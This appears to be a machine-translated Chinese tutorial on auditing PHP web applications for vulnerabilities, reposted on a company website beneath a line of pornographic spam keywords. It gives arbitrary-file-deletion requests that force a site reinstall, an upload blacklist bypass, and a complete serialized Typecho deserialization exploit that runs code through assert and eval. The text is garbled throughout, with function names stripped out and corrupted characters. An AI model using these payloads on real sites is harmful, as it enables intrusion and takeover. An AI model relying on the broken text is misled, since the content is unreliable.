国产精品高清一区二区三区不卡-国产精品一区二区三区免费视频-日韩免费高清一级毛片-亚洲欧美一区二区三区国产精品-日韩欧美一区二区三区不卡视频-亚欧免费视频一区二区三区-亚洲欧美日韩一区成人-欧美日韩视频综合一区无弹窗-精品日韩在线视频一区二区三区-国内精品视频一区二区三区

你好,歡迎進入江蘇優(yōu)軟數(shù)字科技有限公司官網(wǎng)!

誠信、勤奮、創(chuàng)新、卓越

友好定價、專業(yè)客服支持、正版軟件一站式服務(wù)提供

13262879759

工作日:9:00-22:00

實戰(zhàn)技巧 | 知其代碼方可審計

發(fā)布時間:2023-08-09

瀏覽次數(shù):0

ftp://—訪問 FTP URL

php:// - 訪問各個輸入/輸出流 (I/O)

zlib://——壓縮流

數(shù)據(jù):// - 數(shù)據(jù) ()

glob:// — 查找匹配的文件路徑模式

phar:// - PHP 存檔

ssh2://—

rar://—RAR

ogg://—音頻流

// — 處理交互式流

各類偽合約的使用方法網(wǎng)上有很多,請自行搜索。

實際審核

直接看主頁index.php

//單一入口模式error_reporting(0); //關(guān)閉錯誤顯示$file=addslashes($_GET['r']); //接收文件名$action=$file==''?'index':$file; //判斷為空或者等于indexinclude('files/'.$action.'.php'); //載入相應(yīng)文件?>

它將包含文件目錄中的文件。 由于它不過濾../,因此它可以包含任何目錄中的文件。 由于后綴的原因,該漏洞存在于低版本PHP中。

sublime text 3 函數(shù)追蹤

0x01 刪除任意文件

任意文件刪除審計 一般來說,我們搜索完功能后回頭看。

inc\\.php

sublime text 3 函數(shù)追蹤

首先判斷傳入?yún)?shù)是否為空,然后拼接路徑,第516行出現(xiàn)一個函數(shù),我們跟進看看

sublime text 3 函數(shù)追蹤

這只是一個簡單的判斷,沒有特殊情況。 我們來看看調(diào)用它的文件。

sublime text 3 函數(shù)追蹤

function file_path( $path ) {    $list=array();    $path= substr( $path, 0, strrpos( $path, '/' ));    $list=splits($path,'/');    return $list;}
function arr_search($arr1, $arr2 ) { $result=false; foreach ( $arr1 as $v ) { if(in_array( $v,$arr2 )) return true; } return $result;}

獲取參數(shù),然后看看我們傳入的路徑中是否存在這個字段上面的值,也就是基本沒有過濾,因為我們可以通過../跳回來。

:

POST?/zzzp6p/admin/save.php?act=delfilepath=/zzzp6p/upload/../install/1install.lock

這里我們走的下面的分支不能刪除 array( 'php', 'db', 'mdb', 'tpl' ) 這個數(shù)組的文件。

要刪除任何文件只需使用

path=/zzzp6p/runtime/../install/1.db

只要讓 () 為 true 并進入分支內(nèi)部即可。

一般來說,我們通過刪除任意文件并結(jié)合刪除.lock來實現(xiàn)網(wǎng)站重裝漏洞。

0x02 任意文件下載

任意文件下載在顯示和下載文件的情況下很常見,通常感興趣的文件與下載相關(guān),例如。 其實你也可以構(gòu)建源碼找個地方下載。

常用下載或讀取函數(shù):()、()、fopen()

在網(wǎng)上找到了個人審核的例子,結(jié)合它來審核,使用的源碼是TF8

向下搜索相關(guān)成語,找到文件\\\\\\\\down.php

sublime text 3 函數(shù)追蹤

我們看一下$file參數(shù)是怎么來的,先調(diào)用函數(shù)(),再轉(zhuǎn)到函數(shù)中看看

sublime text 3 函數(shù)追蹤

不出意外,應(yīng)該是從數(shù)據(jù)庫讀取路徑,然后看()函數(shù)

sublime text 3 函數(shù)追蹤

構(gòu)造下載地址,那些地方都沒有問題,我們看看數(shù)據(jù)是插入到存儲地址的表的哪里,并搜索表名lyric。

\\\\用戶\\音樂\\ajax.php

sublime text 3 函數(shù)追蹤

我們看到$lyric通過了,這兩個函數(shù)的清理首先轉(zhuǎn)移到了函數(shù)中。

sublime text 3 函數(shù)追蹤

我們傳入的模式是get,通過()的通配符后,下面就替換成了空,也就是說我們基本上不能用\\\\了,我們看看

sublime text 3 函數(shù)追蹤

這里的正則表達式匹配我們的

.\\

?=

.php?

這里根本看不懂php的匹配后綴? 這有什么意義,直接繞過php。

所以綜上所述,不要包含\\和./這里我們只需要傳入絕對路徑即可

登錄前臺找到歌曲上傳的頁面,插入歌詞地址

:

D:/phpstudy/PHPTutorial/WWW/Ear_Music/template/default/source/down.php

sublime text 3 函數(shù)追蹤

0x03 文件上傳

文件上傳只有一個函數(shù)() 一般來說,我們可以搜索這個函數(shù)進行回溯,看看它的驗證方式是黑名單還是白名單,是否是后端限制,是否只是簡單的驗證文件頭,是否是可以繞過的正則匹配,是否渲染圖像。

結(jié)合審計文件上傳和全局搜索

\\\\inc\\.php

sublime text 3 函數(shù)追蹤

回溯查看該函數(shù)在哪里被調(diào)用

sublime text 3 函數(shù)追蹤

使用asa可以繞過典型的黑名單驗證,只需在后臺添加此擴展即可

sublime text 3 函數(shù)追蹤

只需上傳即可。 其實也可以通過上圖中的分支。 只要傳入的類型不是他的類型,就可以跳過后臺添加的步驟。

0x04 文本結(jié)束

對文件的操作也見于寫入其他配置文件,通常是寫入緩存文件。

0x06 邏輯漏洞審計 0x00 簡介

邏輯漏洞是指由于程序邏輯不嚴或功能使用不當而導(dǎo)致的非法訪問、規(guī)避、非法修改密碼、重復(fù)安裝等問題。 一般來說,邏輯漏洞的挖掘需要一定的代碼閱讀能力。

0x01 越權(quán)

違反權(quán)限通常意味著正確驗證不嚴格或沒有驗證。 通常我們對后臺進行審計,發(fā)現(xiàn)某個功能不包含驗證文件,那么很有可能會出現(xiàn)越權(quán)操作的情況。 事實上,有很多問題并不局限于后臺訪問。

在很多小網(wǎng)站上,侵犯權(quán)限的情況時有發(fā)生。 這是大家在漏洞挖掘中更喜歡的。 有些權(quán)限違規(guī)在黑盒測試中似乎更容易被發(fā)現(xiàn),所以你可以靈活地使用代碼審計,不要限制你的思維。

越權(quán)是一個很大的話題,我想我不能講太多,所以請多看文章。

1、后臺越權(quán):后臺部分頁面沒有引入驗證文件

sublime text 3 函數(shù)追蹤

比如我們這里在雄海cms中刪除這個驗證,就可以直接訪問這個頁面了。 許多程序員會忘記添加每個頁面。

2、橫向越權(quán):用戶試圖訪問與自己具有同等權(quán)限的用戶的資源,例如被刪除的收割地址沒有驗證權(quán)限,導(dǎo)致他人地址被越權(quán)刪除。

我們用這個程序來演示\\form\\index.php

他這里并沒有越權(quán),我這里只是解釋一下,簡單介紹一下如何越權(quán)審計。 我們看這段代碼的時候,上次他改變了我們的uid的值,而我們的uid是通過POST包獲取到的,也就是說,如果我們能夠控制uid,我們就可以在未經(jīng)授權(quán)的情況下改變別人的信息。 這里是一個驗證 $uid!=('uid')('抱歉,數(shù)據(jù)更改失敗'); 所以沒有辦法超越權(quán)限,我們可以刪除它來演示看看。

已成功更改 UID 1 的用戶配置文件。

3. 垂直覆蓋:低級別用戶嘗試訪問高級別用戶的功能。

0x02 驗證不嚴格

這里使用的是雄海CMS,我們隨機點擊一個后臺頁面,里面有一個驗證文件

'../inc/.php'; 看看這個文件

sublime text 3 函數(shù)追蹤

判斷我們上面的用戶是否為空,如果不為空就可以訪問后臺。

0x03 安裝程序邏輯問題

這里找了很久的源碼,發(fā)現(xiàn)紅日安全寫了一個-Log1.6,在這里使用了他的源碼。

sublime text 3 函數(shù)追蹤

這里他判斷是否安裝了,然后直接跳轉(zhuǎn)到主頁,但是程序并沒有退出,所以前面的程序仍然可以執(zhí)行,也就是說可以直接安裝前面的程序。

sublime text 3 函數(shù)追蹤

這種無法正確退出導(dǎo)致的漏洞相當多,大家可以在后臺等地方注意一下。

0x04 文本結(jié)束

其實邏輯漏洞不僅限于這些,還有驗證碼邏輯繞過、功能缺陷等其他問題,建議大家看看別人的審計文章。

0x007 函數(shù)或弱類型缺陷和特征 0x00()

如果給定值存在于鏈表數(shù)組中,(, array, type) 返回 true。 如果第三個參數(shù)設(shè)置為 true,則僅當該元素存在于鏈表中并且數(shù)據(jù)類型與給定值相同時,該函數(shù)才會返回 true。 如果在鏈表中未找到該參數(shù),則該函數(shù)返回 false。

那么為什么會出現(xiàn)安全問題呢? 我們看一下下面的代碼

sublime text 3 函數(shù)追蹤

如果不設(shè)置第三個參數(shù),()函數(shù)會將1and1=1轉(zhuǎn)換為數(shù)字1進行比較,所以這會導(dǎo)致一些安全問題,在注入或者上傳的情況下可能會被繞過。

0x01()

() 函數(shù)將判斷變量是數(shù)字還是數(shù)字字符串。 如果我們傳入的字符串是16的補碼,它也會被認為是一個數(shù)字。

sublime text 3 函數(shù)追蹤

我們知道,我們向mysql插入數(shù)據(jù)時,可以是16的補碼,去掉后又會恢復(fù)成原來的字符串,這樣用()函數(shù)檢查后可能會出現(xiàn)二次注入。

弱類型的特點

PHP 是一種弱類型語言。 使用==比較字符串時,會將字符串類型轉(zhuǎn)為相同的類型再進行比較,這也會帶來一些問題。

sublime text 3 函數(shù)追蹤

他在字符串中能遇到的0e和0x都會被解析成對應(yīng)的科學(xué)計數(shù)法和16的補碼。

0x03()

當case為數(shù)值類型時,參數(shù)會轉(zhuǎn)為int類型

sublime text 3 函數(shù)追蹤

0x04()

如果兩者相等,比較函數(shù)返回0,>返回>0,否則大于0。在php版本5.3及更高版本中,當鏈表與()括號中的字符串進行比較時,也會返回0。

sublime text 3 函數(shù)追蹤

0x05()

如果在進行正則表達式匹配時沒有對字符串的開頭和結(jié)尾(^和$)進行限制,則可能會出現(xiàn)繞過的問題。

sublime text 3 函數(shù)追蹤

0x06 文本結(jié)束

其實還有反序列化、變量覆蓋等,這里就不一一寫了。 我會分別寫。 還有一些功能特點大家可以自行搜索。

0x008 變量覆蓋率審計 0x00 簡介

變量覆蓋,顧名思義,可以覆蓋現(xiàn)有的變量值。 造成變量覆蓋的漏洞有:

()、()、bles()使用不當,或者使用了$$或者啟用了全局變量注冊。

0x01 變量覆蓋演示

()

(array,,) 函數(shù)將變量從鏈表導(dǎo)出到當前符號表。 正式鏈表中的通配符對被注冊為函數(shù),使用鏈表鍵值作為變量名,使用鏈表通配符作為變量值。

sublime text 3 函數(shù)追蹤

可以看到我們的初始變量值為a并且覆蓋后就變成了我們輸入的值。

()

() 函數(shù)用于將查詢字符串解析為變量。 如果沒有數(shù)組參數(shù),則該函數(shù)設(shè)置的變量將覆蓋現(xiàn)有的同名變量。 使用不帶數(shù)組參數(shù)的這個函數(shù),不設(shè)置參數(shù)的行為在PHP7.2上會被廢棄,而且這個函數(shù)沒有返回值。

sublime text 3 函數(shù)追蹤

布萊斯()

bles($types,$) 將 GET/POST/ 導(dǎo)出到全局范圍,types 參數(shù)指定要導(dǎo)出的變量,G 代表 GET,P 代表 POST,C 代表。 該函數(shù)只能在PHP4.1~PHP5.4中使用。

sublime text 3 函數(shù)追蹤

$$

一個典型的例子就是將鏈表中的值作為變量進行遍歷。

sublime text 3 函數(shù)追蹤

其中$_key的值為a,所以$a的值被覆蓋為2。

還有全局注冊,php配置默認關(guān)閉。

0x02 實戰(zhàn)審核

這次利用了cms的變量覆蓋漏洞,跟進主頁到核心配置文件

\\\\.inc.php

sublime text 3 函數(shù)追蹤

看到文件的第24行到28行,很明顯使用了我們前面提到的&&變量覆蓋方式,只不過這里他用了()來防止注入,但是并不影響我們本章講的知識。

請隨意轉(zhuǎn)到子文件并查看它如何在 \\news\\index.php 中加載

sublime text 3 函數(shù)追蹤

第7行包含一個變量,那么這個變量在哪里,我們跟進

/.php 瞧,在此文件中搜索 $。

sublime text 3 函數(shù)追蹤

雖然低版本的源碼中沒有$=''這句話; $變量都是在$!=7的if條件下,我給你打包的包是低版本的,我安裝錯了。也就是說,只要我們傳入的$值為7,那么我們可以覆蓋這個$的值

sublime text 3 函數(shù)追蹤

只要你上傳一張圖片或者其他文件,就可以被收錄,因為他的后綴當時還沒有確定。

重寫變量時,一定要注意初始化值和重寫的順序。

0x009 反序列化審計 0x00 簡介

PHP反序列化漏洞,當我們使用()進行反序列化時,如果反序列化對象中有一些我們可以使用的魔術(shù)函數(shù),并且傳入的變量是可控的,那么這個過程可能會觸發(fā)這個魔術(shù)函數(shù),執(zhí)行我們想要的過程。

0x01 第一次遇到反序列化

對于反序列化,我們需要了解 php 類和魔術(shù)技巧。 這是一個簡單的例子。 使用的魔術(shù)是在銷毀類之前執(zhí)行解構(gòu)方法。

sublime text 3 函數(shù)追蹤

創(chuàng)建對象時輸出我們的$a變量的值。所以我們改變它的值并使用()來查看

sublime text 3 函數(shù)追蹤

O:4:"test":1:{s:1:"a";s:5:"12345";} 是我們的序列化值,之后

($_GET['id']); 傳入我們更改的值 O:4:"test":1{s:1:"a";s:3:"404";} 成功復(fù)制了我們更改的值,感謝反序列化我們可以控制類屬性和這個過程會觸發(fā)只能觸發(fā)的魔法。

在這里您可以在互聯(lián)網(wǎng)上找到一些魔術(shù)。 其實還是有一些可以繞過具體的。 您可以搜索它們。

__wakeup() //使用unserialize時觸發(fā)__sleep() //使用serialize時觸發(fā)__destruct() //對象被銷毀時觸發(fā)__call() //在對象上下文中調(diào)用不可訪問的方法時觸發(fā)__callStatic() //在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)__get() //用于從不可訪問的屬性讀取數(shù)據(jù)__set() //用于將數(shù)據(jù)寫入不可訪問的屬性__isset() //在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)__unset() //在不可訪問的屬性上使用unset()時觸發(fā)__toString() //把類當作字符串使用時觸發(fā)__invoke() //當腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)

0x02 一個簡單的問題

下面我改寫了一個簡單的CTF,我們來看看如何使用。


class foo1{ public $varr; function __destruct(){ $this->varr->evaltest(); }}
class foo2{ public $str; function evaltest(){ eval($this->str); }}?>


我們看到foo2中的()函數(shù)中有eval,而foo1中調(diào)用了()函數(shù),我們想是否可以讓foo1調(diào)用foo2中的()函數(shù)并重寫其$str中的值。

class foo1{    public $varr;    function __construct(){        $this->varr = new foo2();    }}
class foo2{ public $str; function __construct(){ $this->str = 'phpinfo();'; }}
$obj = new foo1();echo serialize($obj);?>

我們將$varr變量參數(shù)設(shè)置為(),然后它調(diào)用()函數(shù),然后我們將$str的值替換為我們要執(zhí)行的命令。

sublime text 3 函數(shù)追蹤

0x03 實例審計

找了半天源碼,覺得最有意義、審核最多的反序列化就是.1版本的漏洞。 看起來可能有點費力,但我嘗試詳細分析一下。

來到文件.php

sublime text 3 函數(shù)追蹤

聽說要繞過.php程序的退出,只要傳入的值不為空,這個站點的值就可以繞過。

我們來到了核心

sublime text 3 函數(shù)追蹤

這里調(diào)用了類的get方法,這里就不跟進了,就是獲取到的數(shù)組值,然后()就是將參數(shù)反序列化到變量$,然后我們?nèi)炙阉髁四g(shù)之類的,發(fā)現(xiàn)就是沒有什么可以用的點。

sublime text 3 函數(shù)追蹤

然后我們跟進這個類,看到sublime text 3 函數(shù)追蹤,他傳入了$['']和$['']。

var\\\\Db.php

sublime text 3 函數(shù)追蹤

在這里使用 .link$ 作為類將觸發(fā) () 魔術(shù)。

sublime text 3 函數(shù)追蹤

之后,全局搜索 (),看看哪里可以受益,并找到 \\var\\\\Feed.php。

sublime text 3 函數(shù)追蹤

如果 $item[''] 是一個類并且是私有或未定義的屬性,則將手動觸發(fā) __get()

sublime text 3 函數(shù)追蹤

那么我們就搜索一下哪里有__get()可以使用

var\\\\.php中有這么一個地方

sublime text 3 函數(shù)追蹤

我把后續(xù)的代碼全部放在一起,其中__get調(diào)用了get()函數(shù),然后又調(diào)用了()函數(shù),還有一個反彈函數(shù)可以導(dǎo)致命令執(zhí)行

()和()的參數(shù)也是可以控制的,這樣動力鏈我就找完了,下面我們來梳理一下

命中鏈:

install.php        |繞過程序退出來到unserialize()        |db.php中__construct() 觸發(fā)__toString()        |Feed.php中__toString觸發(fā)__get()        |request.php中__get()調(diào)用get()->_applyFilter()->回調(diào)函數(shù)


下面我們來構(gòu)造exp。 為了方便理解,我們可以從尾寫到頭。

首先,我們需要的$值是一個命令函數(shù)。 這里,我們一般選擇(),然后讓get()中的$value為我們傳入的命令,即[''],所以可以構(gòu)造如下。

class Typecho_Request{    private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')');    private $_filter = array('assert');
}

request.php構(gòu)造完了再構(gòu)造Feed.php中需要的值,這里我們要進入$item['author']->screenName這個前面有個self::RSS2 == $this->_type語句 RSS2= RSS 2.0所以賦值對應(yīng)的,這里的調(diào)用跟我前面寫的那個CTF類似。

class  Typecho_Feed{    private $_type = 'RSS 2.0';    private $_items ;
public function __construct (){ $this->_items[] = array('author' => new Typecho_Request()); }}


最后,返回 .php 并查看 $db=($[''],$['']); 觸發(fā)db.php中的()需要傳入2個值,其中一個是默認的,所以我們傳入之前我們序列化的值就可以了。

:


class Typecho_Request{ private $_params = array('screenName' =>'eval(\\'phpinfo();exit();\\')'); private $_filter = array('assert');
}
class Typecho_Feed{ private $_type = 'RSS 2.0'; private $_items ;
public function __construct (){ $this->_items[] = array('author' => new Typecho_Request()); }}
$payload = array('adapter'=>new Typecho_Feed());echo base64_encode(serialize($payload));?>


為什么();exit();里有exit(),因為程序開始使用()這個函數(shù)會將輸出放入緩沖區(qū),而()觸發(fā)異常后會清空緩沖區(qū),導(dǎo)致沒有echo 。 所以我們可以找個函數(shù)跳出來,或者執(zhí)行完后報錯跳出,或者干脆不回顯寫一句。

sublime text 3 函數(shù)追蹤

這種反序列化通常很難找到。 個人覺得比較方便的是找到中間的兩端,找到可以使用的入口,然后找到可以使用的功能,然后找到一條從入口點到使用點的路。

0x04 文本結(jié)束

反序列化的地方也可以配合.php注入等注入。

0x010 研究全文審核 0x00 簡介

學(xué)習(xí)完全文后,建議您開始審核一些比較容易理解的CMS。 我們先看一下網(wǎng)站的總體框架。 這里你大致知道哪些文件夾包含哪些類型的文件,然后從index.php文件開始讀取,然后重點關(guān)注是否有全局過濾器等等。

0x01 實例審計

本文使用的源碼是我們通過這個程序來簡單了解一下如何研究全文代碼進行審計。 這里我們只做簡單分析,不做深入審核。

了解網(wǎng)站框架

├─admin             //后臺├─config            //配置文件├─form              //前臺├─images            //圖片├─inc               //包含文件├─install           //安裝文件├─js                //js文件├─plugins           //插件├─runtime           //臨時├─search            //搜索├─template          //模板├─upload            //上傳文件夾└─wap               //手機

首先我們看到這個結(jié)構(gòu)。 如果你有一點審計基礎(chǔ)或者懂一點法語,應(yīng)該能明白這種目錄的含義。 事實上,有些程序員喜歡使用不同的命名規(guī)則,這是普遍的情況。

了解網(wǎng)站過濾和路由

我覺得閱讀全文不是無心閱讀,是浪費時間。 我們通常應(yīng)該首先讀取其核心文件,通常位于包含它們的文件夾中。 如何找到核心文件通常是通過查看文件名,例如包含 main 等,還可以查看文件大小。 通常core文件包含的函數(shù)較多,文件也比較大。 也可以通過入口文件一步步看。 例如,這里的核心文件是 . 篩選。

我們來到\\inc\\.php

() 解析 URL

sublime text 3 函數(shù)追蹤

() 獲取參數(shù)

sublime text 3 函數(shù)追蹤

過濾函數(shù)()以及一般與過濾相關(guān)的函數(shù)都包含一些字符如safe或者包含函數(shù)()()

sublime text 3 函數(shù)追蹤

了解系統(tǒng)數(shù)據(jù)庫類

不僅僅是這個文件,我們還可以看一下等關(guān)鍵字文件,看看他的數(shù)據(jù)庫連接形式,以及他的連接形式是否存在寬字節(jié)注入的可能性。

sublime text 3 函數(shù)追蹤

開始審核

讀完這個之后我們就可以從index.php中一層一層的讀取了。

來到index.php直接文件inc/.php先判斷然后執(zhí)行前面

sublime text 3 函數(shù)追蹤

參見最后一句(G('sid'), G('cid')); 這里調(diào)用了()函數(shù),我們可以跟進看看。

進入if分支

if ( $sid > 0 ) {    $data = db_load_one( 'sort', 'sid=' . $sid );

跟進函數(shù)db_load_one()這里會把傳入的&替換為and

sublime text 3 函數(shù)追蹤

跟隨函數(shù)()

sublime text 3 函數(shù)追蹤

這里就不詳細介紹了,只介紹一下思路。 基本上我確信如果傳入的參數(shù)不經(jīng)過過濾的話,這里就會有注入。

這里如果按照G()的話,會發(fā)現(xiàn)是通過$['sid']獲取的,即上面解析url得到的值是沒有過濾的,所以這里基本就是一次注入。

讀取完這些文件后sublime text 3 函數(shù)追蹤,我們可以從各個函數(shù)文件夾的索引中讀取它們,例如這里我們來到\\\\index.php

define('LOCATION', 'search');require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

或者回到我們剛才跟進的文件/inc/.php中搜索關(guān)鍵詞

看完源碼分析

    case 'search':        $tplfile= TPL_DIR . 'search.html';        break;

看到選擇后形式參數(shù)被賦予變量 $ 后,我們正在跟蹤該變量在哪里

被稱為

sublime text 3 函數(shù)追蹤

找到了解析模板的過程,然后跟進到inc\\.php并閱讀下面發(fā)現(xiàn)一個函數(shù)()

sublime text 3 函數(shù)追蹤

()函數(shù)過濾之后,也經(jīng)過()函數(shù)過濾,下面好像還有函數(shù)也是獲取參數(shù)的,這個就用到了函數(shù)isset(),它是一個測量變量的函數(shù),它定義時為 true。 這里是沒辦法進去的,不然就是注射了。 其實這也是老版本的注入,而且這里的版本已經(jīng)打??過補丁了。 你也可以從admin的index.php開始閱讀,多關(guān)注一些功能點,建議構(gòu)建它來熟悉整個程序。

0x02 文本結(jié)束

研究完這個我們可以知道,他調(diào)用()函數(shù)的時候我們基本上不考慮注入,因為已經(jīng)被過濾了,除非他之前用其他函數(shù)處理過了。 在調(diào)試復(fù)雜的句子時,我們可以通過mysql監(jiān)控軟件進行調(diào)試。 當我們發(fā)現(xiàn)某個類的函數(shù)或者寫法存在漏洞時,我們可以利用全文檢索來查找相同的代碼,從而對某個類進行全面挖掘。

結(jié)尾。

歡迎轉(zhuǎn)發(fā)~

如有侵權(quán)請聯(lián)系刪除!

13262879759

微信二維碼